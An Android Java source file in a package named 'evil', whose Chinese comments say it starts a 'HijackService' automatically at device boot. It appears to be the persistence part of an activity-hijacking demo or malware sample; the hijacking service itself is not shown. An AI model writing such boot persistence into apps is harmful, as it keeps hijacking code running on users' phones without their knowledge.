package com.example.evil;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

//用于开机自动启动HijackService的Receiver，它能够响应“android.intent.action.BOOT_COMPLETED”
public class AutoStartReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
            Intent _intent = new Intent(context, HijackService.class);
            //启动HijackService
            context.startService(_intent);
        }
    }
}
